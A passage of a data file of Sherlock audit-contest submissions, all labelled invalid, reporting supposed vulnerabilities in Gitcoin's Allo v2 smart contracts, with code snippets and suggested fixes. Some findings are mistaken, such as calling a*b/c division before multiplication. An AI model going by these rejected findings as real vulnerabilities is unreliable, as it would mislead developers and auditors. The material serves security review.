safeguard within the smart contract to ensure that the fee cannot be zero, unless explicitly intended.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/911.md"}} +{"title":"registerRecipient() in Allo.sol is payable but it doesnt forward the ether to the strategy","severity":"info","body":"Brilliant Carmine Porpoise\n\nmedium\n\n# registerRecipient() in Allo.sol is payable but it doesnt forward the ether to the strategy\n\n`registerRecipient()` in `Allo.sol` is marked as payable but it doesnt send the msg.value to the strategy when `strategy.registerRecipient()` is called.\n\n## Vulnerability Detail\n\n`Allo.sol` is designed to work with custom strategies and both `registerRecipient()` functions are marked as payable in `Allo.sol` and the `BaseStrategy.sol` meaning that it can receive ether. \n\nThe problem is that when calling `strategy.registerRecipient()` in `Allo.sol::registerRecipient()` the `msg.value` isnt forwarded so if a user wants his `registerRecipient()` function to receive ether then its not going to work. \n\nSo for example a user has a custom strategy where he charges a fee or other users have to bid with ether to register a recipient. Because the `msg.value` isnt forwarded the tx can always revert or the users ether can get stuck in the `Allo.sol` contract\n\n## Impact\n\n`registerRecipient()` of custom strategies that receive ether arent going to work but more importantly the users ether can get stuck in `Allo.sol` because he wanted to send the ether to the strategy but `registerRecipient()` didnt forward that ether and the call didnt fail.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L303\n\n```solidity\n301: function registerRecipient(uint256 _poolId, bytes memory _data) external payable nonReentrant returns (address) {\n302: // Return the recipientId (address) from the strategy\n303: return pools[_poolId].strategy.registerRecipient(_data, msg.sender);\n304: }\n\n```\n\nAs you can see here the function is payable but the msg.value isnt sent to the strategy when `strategy.registerRecipient()` is called\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nForward the ether to the strategy\n\n```solidity\nreturn pools[_poolId].strategy.registerRecipient{value: msg.value}(_data, msg.sender); \n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/910.md"}} +{"title":"Access control attacking vector in `Allo.sol` for allocation and `BaseStrategy.sol` for getPayouts and setPoolActive","severity":"info","body":"Custom Juniper Eagle\n\nmedium\n\n# Access control attacking vector in `Allo.sol` for allocation and `BaseStrategy.sol` for getPayouts and setPoolActive\n\nThere is no Access control in allocation and Payouts function which can result in drainage of funds\n\n## Vulnerability Detail\n\nThere is no access control of manager in Allo.sol: functions allocate, _allocate and batchAllocate\nAnd BaseStrategy.sol: Functions getPayouts and setPoolActive \n\n## Impact\n\nMalicious Attacker can allocate himself a batch and getPayouts without paying fee.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L352C4-L354C6\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L492C5-L494C6\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L362C5-L375C6\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L209C1-L214C41\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L276C1-L279C6\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nProtocol should use there onlyPoolManager modifier in access control of functions allocate,_allocate & batchAllocate","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/909.md"}} +{"title":"Rejected milestones can be distributed","severity":"info","body":"Blunt Carmine Lynx\n\nmedium\n\n# Rejected milestones can be distributed\n\nRejected milestones can be distributed and `acceptedRecipientId` will receive each milestone amount if the pool has enough amount.\n\n## Vulnerability Detail\n\nThe function is intended to distribute the `upcomingMilestone` amount, but there is no check if the `upcomingMilestone` was rejected. \n\nThe function starts with this check, but if the `upcomingMilestone` was previously rejected, it will pass. \n\n```solidity\n// check to make sure there is a pending milestone\nif (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();\n```\n\nAnd from there: \n\n- the whole `rejectMilestone()` defeats its purpose because `acceptedRecipientId` can submit an invalid `upcomingMilestone` and it can still be used in _distribute.\n- A milestone that was set by the pool manager and not submitted by `acceptedRecipientId` will continue to be valid in _distribute.\n\n## Impact\n\nFunds from the pool will be distributed incorrectly and the recipient may receive a rejected `milestone.amountPercentage` of the pool.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417-L450\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n```diff\n/// @notice Distribute the upcoming milestone to acceptedRecipientId.\n/// @dev '_sender' must be a pool manager to distribute.\n/// @param _sender The sender of the distribution\nfunction _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n onlyInactivePool\n onlyPoolManager(_sender)\n{\n // check to make sure there is a pending milestone\n if (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();\n\n+ if(milestones[upcomingMilestone].milestoneStatus == Status.Rejected) revert INVALID_MILESTONE();\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n Milestone storage milestone = milestones[upcomingMilestone];\n Recipient memory recipient = _recipients[acceptedRecipientId];\n\n // make sure has enough funds to distribute based on the proposal bid\n if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n\n // Calculate the amount to be distributed for the milestone\n uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n\n // Get the pool, subtract the amount and transfer to the recipient\n poolAmount -= amount;\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n // Set the milestone status to 'Accepted'\n milestone.milestoneStatus = Status.Accepted;\n\n // Increment the upcoming milestone\n upcomingMilestone++;\n\n // Emit events for the milestone and the distribution\n emit MilestoneStatusChanged(upcomingMilestone, Status.Accepted);\n emit Distributed(acceptedRecipientId, recipient.recipientAddress, amount, _sender);\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/908.md"}} +{"title":"Wrongly changed status in registerRecipient function","severity":"info","body":"Shambolic Misty Dragon\n\nmedium\n\n# Wrongly changed status in registerRecipient function\nWrongly changed status in registerRecipient function\n\n## Vulnerability Detail\nWhen a newly added recipient is accepted, it is possible for their status to be changed by mistake from `Accepted` to `Pending`. If a member adds the same recipient again and their status is already `Accepted`, it means that other pool managers accepted the recipient, the status can be reset to `Pending` by calling the `registerRecipient` function again.\n\n```solidity\n//note why when is accepted go to pending?\n//@audit-issue M3: when recipient is accepted, he should be able to\n// allocate votes, but can be reseted to pending again\nif (currentStatus == Status.Accepted) {\n\n // recipient updating accepted application\n recipient.recipientStatus = Status.Pending; //@note why is not InReview here?\n\n} else if (currentStatus == Status.Rejected) {\n```\n\n## Impact\nThis can disrupt the allocation of their votes until the pool manager accepts the recipient again.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L421\n\n```solidity\n // update the recipients data\n recipient.recipientAddress = recipientAddress;\n recipient.metadata = metadata;\n recipient.useRegistryAnchor = registryGating ? true : isUsingRegistryAnchor;\n\n Status currentStatus = recipient.recipientStatus;\n\n if (currentStatus == Status.None) {\n // recipient registering new application\n recipient.recipientStatus = Status.Pending;\n emit Registered(recipientId, _data, _sender);\n } else {\n if (currentStatus == Status.Accepted) {\n // recipient updating accepted application\n recipient.recipientStatus = Status.Pending;\n } else if (currentStatus == Status.Rejected) {\n // recipient updating rejected application\n recipient.recipientStatus = Status.Appealed;\n }\n\n // emit the new status with the '_data' that was passed in\n emit UpdatedRegistration(recipientId, _data, _sender, recipient.recipientStatus);\n }\n }\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nDo not change status of recipient in `registerRecipient` function from `Accepted` to `Pending`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/905.md"}} +{"title":"Unauthorized users can become recipients in the `DonationVotingMerkleDistributionDirectTransferStrategy` strategy","severity":"info","body":"Scruffy Taupe Orca\n\nhigh\n\n# Unauthorized users can become recipients in the `DonationVotingMerkleDistributionDirectTransferStrategy` strategy\nUnauthorized users can become recipients in the `DonationVotingMerkleDistributionDirectTransferStrategy` strategy.\n\n## Vulnerability Detail\nIn the `DonationVotingMerkleDistributionDirectTransferStrategy` strategy, there is an vulnerability where unauthorized users can become recipients. Specifically, the `_registerRecipient()` function lacks robust validation checks against user inputs. When `useRegistryAnchor = false`, any user can set `registryAnchor` to `address(0)`. This will make `isUsingRegistryAnchor` to be equal to `false`, allowing the subsequent checks for profile membership to be bypassed.\n\nAs a result, a user who is not a profile member can set `registryAnchor = address(0)` and cause `isUsingRegistryAnchor` to evaluate to `false`. The transaction won't revert even if the user isn't a valid profile member, thereby allowing unauthorized registration of recipients.\n\n## Impact\nUnauthorized users may be able to register as recipients, thereby getting access to funds or benefits they shouldn't be entitled to. This can undermine the integrity of the entire distribution process.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L528-L601\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L556-L559\n```solidity\nif (\n isUsingRegistryAnchor && !_isProfileMember(recipientId, _sender)\n) {\n revert UNAUTHORIZED();\n}\n```\n\n## Tool used\nManual Review\n\n## Recommendation\nTo address this vulnerability, it is recommended to enforce strict checks on profile membership regardless of the value of `isUsingRegistryAnchor`. Here are two potential solutions:\n\n1. **Separate Checks**: \n - First, ensure that the user is a profile member. If not, revert immediately.\n - Then, check if a registry anchor is being used and validate accordingly.\n\n```solidity\nif (!_isProfileMember(recipientId, _sender)) {\n revert UNAUTHORIZED();\n}\nif (isUsingRegistryAnchor && registryAnchor == address(0)) {\n revert INVALID_REGISTRY_ANCHOR();\n}\n```\n\n2. **Combined Check**:\n - Ensure that if not using a registry anchor, the user must be a profile member to proceed.\n\n```solidity\nif (!isUsingRegistryAnchor && !_isProfileMember(recipientId, _sender)) {\n revert UNAUTHORIZED();\n}\n```\n\nBoth solutions aim to ensure that only valid profile members can register as recipients, upholding the integrity of the distribution process.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/904.md"}} +{"title":"[M-09] `QVSimpleStrategy` contract: removing pool allocators will not remove their votes","severity":"info","body":"Bumpy Charcoal Squid\n\nmedium\n\n# [M-09] `QVSimpleStrategy` contract: removing pool allocators will not remove their votes\n\n`QVSimpleStrategy` contract: removing pool allocators will not remove their votes.\n\n## Vulnerability Detail\n\n- In `QVSimpleStrategy` strategy contract: funds accepted recipients are receiving funds based on the votes they got from the accepted allocators (pool managers).\n\n- Then when the funds are distributed; each accepted recipient will receive payment proportional to the total number of votes they received:\n\n [QVBaseStrategy::\\_getPayout function](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L559-L574)\n\n ```solidity\n function _getPayout(address _recipientId, bytes memory)\n internal\n view\n virtual\n override\n returns (PayoutSummary memory)\n {\n Recipient memory recipient = recipients[_recipientId];\n\n // Calculate the payout amount based on the percentage of total votes\n uint256 amount;\n if (!paidOut[_recipientId] && totalRecipientVotes != 0) {\n amount = poolAmount * recipient.totalVotesReceived / totalRecipientVotes;\n }\n return PayoutSummary(recipient.recipientAddress, amount);\n }\n ```\n\n- But allocators can be removed by the pool admin via `Allo::removePoolManager`; and when doing so, the votes that were given by the removed allocator will still be counted.\n\n## Impact\n\nIf a recipient got votes from removed allocators; they will be getting more funds upon distribution due to the counting of the invalid votes of the removed allocators.\n\n## Code Snippet\n\n[QVBaseStrategy::\\_qv_allocate function](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534)\n\n```solidity\nfunction _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n // check the `_voiceCreditsToAllocate` is > 0\n if (_voiceCreditsToAllocate == 0) revert INVALID();\n\n // get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n }\n```\n\n[QVBaseStrategy::\\_distribute function/ L448-L449](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L448-L449)\n\n```solidity\n PayoutSummary memory payout = _getPayout(recipientId, \"\");\n uint256 amount = payout.amount;\n```\n\n[QVBaseStrategy::\\_distribute function/ L456](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L456)\n\n```solidity\n_transferAmount(pool.token, recipient.recipientAddress, amount);\n```\n\n[QVBaseStrategy::\\_getPayout function](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L559-L574)\n\n```solidity\n function _getPayout(address _recipientId, bytes memory)\n internal\n view\n virtual\n override\n returns (PayoutSummary memory)\n {\n Recipient memory recipient = recipients[_recipientId];\n\n // Calculate the payout amount based on the percentage of total votes\n uint256 amount;\n if (!paidOut[_recipientId] && totalRecipientVotes != 0) {\n amount = poolAmount * recipient.totalVotesReceived / totalRecipientVotes;\n }\n return PayoutSummary(recipient.recipientAddress, amount);\n }\n```\n\n[Allo::removePoolManager function](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L275-L277)\n\n```solidity\n function removePoolManager(uint256 _poolId, address _manager) external onlyPoolAdmin(_poolId) {\n _revokeRole(pools[_poolId].managerRole, _manager);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd a mechanism to remove/invalidate removed allocator votes so that it would't be counted when calculating the recipient distributed payment.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/902.md"}} +{"title":"`Allo.initialize` is prone to front run attack which can lead to DOS","severity":"info","body":"Delightful Topaz Penguin\n\nhigh\n\n# `Allo.initialize` is prone to front run attack which can lead to DOS\n`Allo.initialize` is prone to front run attack which can lead to DOS\n\n## Vulnerability Detail\nAs current implantation an after deploying the Allo contract any Attacker call initialize function with different any custom strategy and with random baseFee and percent fee making overall deployment fail in a way.\nSame goes whenever Allo will go for upgrade same front issue can stop Allo in upgrade.\n```solidity\nFile: contracts/core/Allo.sol\n\n function initialize(address _registry, address payable _treasury, uint256 _percentFee, uint256 _baseFee)\n external\n reinitializer(1)\n {\n // Initialize the owner using Solady ownable library\n _initializeOwner(msg.sender);\n\n // Set the address of the registry\n _updateRegistry(_registry);\n\n // Set the address of the treasury\n _updateTreasury(_treasury);\n\n // Set the fee percentage\n _updatePercentFee(_percentFee);\n\n // Set the base fee\n _updateBaseFee(_baseFee);\n }\n```\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Allo.sol#L87\n\nAttacker can front run this function just after the deployment making DOS. \nimpact- HIGH\nlikelihood- Medium\nAs attacker should have good resources and but attack doesn't require any money/fee from Attacker so if Attackers are miners they can damage effectively \n\n## Impact\n\nDOS \n \n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Allo.sol#L87\n## Tool used\n\nManual Review\n\n## Recommendation\n\nSomething like a access control can help to mitigate this issue.\nA simple solution can be add `if(msg.sender != deployer) revert ERROR()`\nbut there can be better solution","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/899.md"}} +{"title":"`batchRegisterRecipeint` is not marked as payable function.","severity":"info","body":"Faithful Carrot Okapi\n\nmedium\n\n# `batchRegisterRecipeint` is not marked as payable function.\nETH cannot be forwarded to `registerRecipient` in `BaseStrategy` as `batchRegisterRecipient` in `Allo` is not marked as payable\n\n## Vulnerability Detail\nThe `registerRecipient` in `BaseStrategy.sol` is a payable function. In `Allo.sol` contract `batchRegisterRecipient` function which calls the strategy's `registerRecipient` is not marked as payable. So ETH cannot be send along the call. \n\n## Impact\nStrategies which require ETH in custom hook implementations like _beforeRegisterRecipient and _afterRegisterRecipient will fail.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L313C14-L313C36\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L165\n\n## Tool used\n\nManual Review\n\n## Recommendation\nMark `batchRegisterRecipient` as payable similar to `registerRecipient` in `BaseStrategy`. Instead of sending `msg.value` with every call in the loop implement accounting for the ETH sent to `batchRegisterRecipient`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/898.md"}} +{"title":"`RFPSimpleStrategy::rejectMilestone` : pool manager can reject any milestone as there's no check if the milestone status is set to pending by the accepted recipient.","severity":"info","body":"Bumpy Charcoal Squid\n\nmedium\n\n# `RFPSimpleStrategy::rejectMilestone` : pool manager can reject any milestone as there's no check if the milestone status is set to pending by the accepted recipient.\n\n`RFPSimpleStrategy::rejectMilestone` : pool manager can reject any milestone as there's no check if the milestone status is set to pending by the accepted recipient.\n\n## Vulnerability Detail\n\n- In `RFPSimpleStrategy` strategy contract: the pool manager can set a list of milestones of payments to be distributed later to the selected accepted recipient (`acceptedRecipientId`) , and this operation can be done only once via `setMilestones` function.\n\n- The `acceptedRecipientId` can submit a milestone: in order to get the next milestone payment when this milestone is distributed; and this sets the milestone status from `None` to `Pending`.\n\n- Then the pool manager can either reject the submitted milestone by calling `rejectMilestone` function where it sets the status of the milestone from `Pending` to `Rejected`; or can leave the status as it is (`Pending`); so if the milestone is set to `Accepted`; then it can be distributed to the intended accepted recipient.\n\n- But when the pool manager calls `rejectMilestone` function to reject a mileStone ; there's no check made to check if the milestone is submitted by the accepted recipient or not; i.e it doesn't check if the status of the milestone is **Pending** before setting it to `Rejected`.\n\n- So this function enables the manager from setting the status of any milestone to `Rejected` as long as it hasn't been distributed (executed).\n\n## Impact\n\nThis supposed to result in disabling milestone distribution for any milestone payment that were set to `Rejected` even if they are not submitted by the recipient (but will not due to another vulnerability in the `_distribute` function where the milestone status is not checked before execution)\n\n## Code Snippet\n\n[RFPSimpleStrategy::submitUpcomingMilestone function](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L253-L271)\n\n```solidity\n function submitUpcomingMilestone(Metadata calldata _metadata) external {\n // Check if the 'msg.sender' is the 'acceptedRecipientId' and is a member of the 'Profile'\n if (acceptedRecipientId != msg.sender && !_isProfileMember(acceptedRecipientId, msg.sender)) {\n revert UNAUTHORIZED();\n }\n\n // Check if the upcoming milestone is in fact upcoming\n if (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();\n\n // Get the milestone and update the metadata and status\n Milestone storage milestone = milestones[upcomingMilestone];\n milestone.metadata = _metadata;\n\n // Set the milestone status to 'Pending' to indicate that the milestone is submitted\n milestone.milestoneStatus = Status.Pending;\n\n // Emit event for the milestone\n emit MilstoneSubmitted(upcomingMilestone);\n }\n```\n\n[RFPSimpleStrategy::rejectMilestone function](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L283-L290)\n\n```solidity\n function rejectMilestone(uint256 _milestoneId) external onlyPoolManager(msg.sender) {\n // Check if the milestone is already accepted\n if (milestones[_milestoneId].milestoneStatus == Status.Accepted) revert MILESTONE_ALREADY_ACCEPTED();\n\n milestones[_milestoneId].milestoneStatus = Status.Rejected;\n\n emit MilestoneStatusChanged(_milestoneId, milestones[_milestoneId].milestoneStatus);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nIn `rejectMilestone` function check the milestone status before setting its status to `Rejected`:\n\n```diff\n function rejectMilestone(uint256 _milestoneId) external onlyPoolManager(msg.sender) {\n // Check if the milestone is already accepted\n if (milestones[_milestoneId].milestoneStatus == Status.Accepted) revert MILESTONE_ALREADY_ACCEPTED();\n+ require(milestones[_milestoneId].milestoneStatus == Status.Pending,\"milestone is not submitted by the accepted recipient\");\n\n milestones[_milestoneId].milestoneStatus = Status.Rejected;\n\n emit MilestoneStatusChanged(_milestoneId, milestones[_milestoneId].milestoneStatus);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/897.md"}} +{"title":"Classic case of Precision loss in `Allo.sol`","severity":"info","body":"Custom Juniper Eagle\n\nmedium\n\n# Classic case of Precision loss in `Allo.sol`\n\nThere is an operation which incurs unnecessary precision loss because of division before multiplcation.\n\n## Vulnerability Detail\n\nIn the Allocodebase, in the function _fund pool to calculate feeAmount,\ndeveloper is using a * b / c which is susceptible to precision loss.\n\n## Impact\n\nDivision before multipilication incurs uncessary precision loss\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L510C13-L512C1\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nProtocol should avoid divison before multiplication and always perform division operation at last.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/896.md"}} +{"title":"Donation Voting's reviewRecipient function may malfunction.","severity":"info","body":"Hot Zinc Hippo\n\nmedium\n\n# Donation Voting's reviewRecipient function may malfunction.\nThe `reviewRecipients` function in `DonationVotingMerkleDistributionBaseStrategy` sets the status of recipients in batches.\nIf the status value of a recipient changes immediately before executing this function, the recipient's changes will be incorrectly reverted.\n\n## Vulnerability Details\nThe `reviewRecipients` function in `DonationVotingMerkleDistributionBaseStrategy`#L341-360 sets the status of recipients in batches.\nIn other words, not only do you change the status of the recipients you want to change, but you also set the status of all recipients in the same row (to save gas prices or simplify the logic).\n```solidity\nFile: DonationVotingMerkleDistributionBaseStrategy.sol\n341: function reviewRecipients(ApplicationStatus[] memory statuses)\n342: external\n343: onlyActiveRegistration\n344: onlyPoolManager(msg.sender)\n345: {\n346: // Loop through the statuses and set the status\n347: for (uint256 i; i < statuses.length;) {\n348: uint256 rowIndex = statuses[i].index;\n349: uint256 fullRow = statuses[i].statusRow;\n350: \n351: statusesBitMap[rowIndex] = fullRow;\n352: \n353: // Emit that the recipient status has been updated with the values\n354: emit RecipientStatusUpdated(rowIndex, fullRow, msg.sender);\n355: \n356: unchecked {\n357: i++;\n358: }\n359: }\n360: }\n```\nTo do this, first read the contents of the public `statusesBitMap` variable, change the status values of the recipients you want to change there to Accepted or Rejected, group all rows containing the changed values, and call the `reviewRecipient` function.\nBy the modifier of `onlyActiveRegistration`, the `reviewRecipient` function call is made during the registration period. \nTherefore, if any recipient on the same row as the recipients changed between the read and write changes its status (e.g. from None to Pending) by calling `registerRecipient`, this change is transmitted by calling the `PoolOwner`'s `reviewRecipient` function (will be overwritten with None).\n\n## Impact\nSome applicants' applications were abnormally invalidated, causing the system to malfunction.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L341-L360\n\n## Tool used\n\nManual Review\n\n## Recommendation\nThe original value (statusesOld) and the new value (statusesNew) of the two parameter status values (statuses) should be passed to the `reviewRecipient` function, then the statusesOld and the current value should be compared and modified to apply statusesNew only when they are the same.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/895.md"}} +{"title":"The QV strategy does not accept ether","severity":"info","body":"Brilliant Carmine Porpoise\n\nmedium\n\n# The QV strategy does not accept ether\n\n`QVBaseStrategy.sol` is missing a receive() function so the QV strategies wont be able to receive ether and wont work. \n\n## Vulnerability Detail\n\nThe quadratic voting strategies are supposed to receive ether however `QVBaseStrategy.sol` is missing a `receive()` function so strategies like `QVSimpleStrategy` wont be able to receive ether and wont work. \n\nThe user can unknowingly create a pool that accepts ether and uses the QVSimpleStrategy but because the contract doesnt accept ether all the calls will revert when other people will be donating. If the user wants to receive anything then he will have to create a new pool that uses a token.\n\n## Impact\n\nThe QV Strategy will not work with ether and the user who created the pool will lose his funds because he payed for the fee and will have to pay again if he wants to create a working pool otherwise he will fail to get funding.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L30\n\nTo test this you can add this function to `QVSimpleStrategy.t.sol` and as you will see it will fail. \n\n```solidity\nfunction testRevert_sendEther() public {\n vm.startPrank(pool_manager1());\n vm.deal(pool_manager1(), 1 ether);\n (bool success, ) = address(qvSimpleStrategy()).call{value: 1 wei}(\"\");\n require(success, \"Ether transfer failed\");\n}\n\n```\n\n\n## Tool used\n\nManual Review + Foundry\n\n## Recommendation\n\n\nAdd a `receive()` function to `QVBaseStrategy` so it can receive ether.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/894.md"}} +{"title":"Fund recovery mechanism is broken for merkle vault","severity":"info","body":"Young Tiger Snake\n\nmedium\n\n# Fund recovery mechanism is broken for merkle vault\nStuck funds for Merkle Vault strategy in case recipient fails to claim them\n\n## Vulnerability Detail\n\n```solidity\n function withdraw(uint256 _amount) external onlyPoolManager(msg.sender) {\n if (block.timestamp <= allocationEndTime + 30 days) {\n revert INVALID();\n }\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n\n if (_amount > poolAmount) {\n revert INVALID();\n }\n\n poolAmount -= _amount;\n\n // Transfer the tokens to the 'msg.sender' (pool manager calling function)\n _transferAmount(pool.token, msg.sender, _amount);\n }\n```\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L394-L409\n\nMerkle strategies have a`withdraw()` function which only supports withdrawing `pool.token`. However, since these strategies support multiple tokens through `allowedList` a sponsor can allocate non `pool.token` tokens to a pool. Assuming this is a merkle vault the funds will be held by the contract. If a partcipant fails to claim them for some reason\nthe pool manager won't be able to withdraw them. `distribute` won't work either since it only supports `pool.token`.\n\n## Impact\n\nIn case of emergency -- participant failed to claim tokens for Merkle Vault strategy it'll be stuck in the contract with no way to recover.\n\n## Code Snippet\n\n## Tool used\n\nManual Review\nConsider reimplementing withdraw:\n\n\n## Recommendation\n\n```solidity\n function withdraw(address token, uint256 _amount) external onlyPoolManager(msg.sender) {\n if (block.timestamp <= allocationEndTime + 30 days) {\n revert INVALID();\n }\n\n // Transfer the tokens to the 'msg.sender' (pool manager calling function)\n _transferAmount(token, msg.sender, _amount);\n 